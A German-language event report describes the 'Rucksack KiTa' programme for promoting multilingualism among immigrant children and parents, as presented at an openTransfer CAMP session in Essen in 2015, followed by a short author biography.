„Rucksack KiTa“ setzt auf Mehrsprachigkeit

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Miriam Weilbrenner von den „Kommunalen Integrationszentren NRW“ beim openTransfer CAMP Kleine Helden am 4. Dezember 2015 in Essen

 

Im Zentrum der Session stand das Projekt „Rucksack KiTa“, das gezielt Mehrsprachigkeit fördert – sowohl bei Kindern als auch bei Eltern. Wie können Einrichtungen und Eltern am besten mit ins Boot geholt werden?

 
Ziel des Programms „Rucksack KiTas“ ist es, Bildungsteilhabe und Chancengerechtigkeit für Kinder mit Migrationsgeschichte zu erhöhen. Dabei geht es jedoch nicht nur darum, Deutsch zu vermitteln, sondern gezielt die Mehrsprachigkeit zu stärken. Dadurch wird nicht  nur eine Wertschätzung der Herkunftssprache zum Ausdruck gebracht. Es geht auch darum, Mehrsprachigkeit als zusätzliche Kompetenz zu stärken. Dabei werden Kitas und Eltern gleichermaßen einbezogen. So sollen Alltagsthemen sowohl auf Deutsch – in der Kita – als auch der Heimatsprache – in der Familie – behandelt werden. Indem sich beide Seiten austauschen, werden alle an der Erziehung beteiligten Akteure zusammengebracht. Dieser Austauschprozess wird durch pädagogisch geschulte Elternbegleiter, die als Honorarkräfte tätig sind, koordiniert. Diese Elternbegleiter können alle am Bildungsprozess Beteiligten – Eltern, Erzieher und pädagogische Fachkräfte – für die Bedeutung von Mehrsprachigkeit sensibilisieren und auch konkrete Möglichkeiten aufzeigen, wie sie gefördert werden kann. Insbesondere bildungsferne Eltern profitieren davon, da sie sowohl in der Erziehungskompetenz als auch der eigenen Mehrsprachigkeit gestärkt werden.

Eine Frau sitzt mit anderen Frauen an einem Tisch und spricht.

Dem Programm kommt es zugute, dass es in verschiedener Hinsicht flexibel ist. Sowohl die Themen, die behandelt werden, als auch die Sprachen, die in den Muttergruppen gesprochen wird, sind nicht festgelegt. Auf diese Weise ist das Konzept vor Ort sehr gut adaptierbar.

Eltern und Kitas für das Programm gewinnen

Eine Herausforderung des Programms besteht darin, den Eltern die Bedeutung die Mehrsprachigkeit zu vermitteln. Oft liegt deren Fokus auf Deutsch als der Bildungssprache. Zudem hat sich gezeigt, dass die Bereitschaft der Eltern vorhanden sein muss, sich auf Bildungseinrichtungen einzulassen.

Auch Kitas müssen für das Programm gewonnen werden. Dies geschieht über Informationsveranstaltungen und – wenn Interesse besteht – über ausführliche Informationen für einzelne Kitas. Wenn es notwendig ist, unterstützt das Programm die Kitas nach Möglichkeiten auch dabei, Finanziers für eine Anschubfinanzierung zu finden. Denn da das Programm gezielt mit Honorarkräften und nicht mit Ehrenamtlichen arbeitet, fallen für das neunmonatige Programm Kosten an.

www.kommunale-integrationszentren-nrw.de

www.rucksackgriffbereit.de

Foto: #otc15 (CC BY SA) / Jennifer Braun

Text:

CC Lizenz

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Tobias Quednau

Tobias Quednau ist von Haus aus Politikwissenschaftler. Ihn interessiert vor allem, wie Gesellschaften demokratischer gestaltet werden können. Dabei spielt für ihn die Zivilgesellschaft als Ort der öffentlichen Debatte, an dem sowohl Argumente ausgetauscht als auch innovative Ideen zur Bewältigung gesellschaftspolitischer Herausforderungen entwickelt werden, eine essentielle Rolle. Nachdem er sich über sieben Jahre beim Bundesnetzwerk Bürgerschaftliches Engagement und am Forschungszentrum für Bürgerschaftliches Engagement an der Humboldt-Universität zu Berlin hauptberuflich mit der Frage beschäftigt hat, wie die Bürgergesellschaft systematisch gestärkt werden kann, betreut er inzwischen bei RuhrFutur das Bildungsprojekt „Eltern und Schulen – Gemeinsam stark“. Ehrenamtlich ist er als Redakteur des Forschungsjournals Soziale Bewegungen – Analysen zu Demokratie und Zivilgesellschaft aktiv und hat sich als Vorstand zehn Jahre um die Geschicke des Vereins Das Rote Berlin gekümmert, der in Berlin mit dem Niedersachsenstadion für Exil-Hannoveraner und andere 96-Fans einen Ort zum Fußballschauen mit Gleichgesinnten geschaffen hat. Die Initiative openTransfer der Stiftung Bürgermut begleitet und unterstützt seit dem ersten Barcamp 2012 in Berlin.

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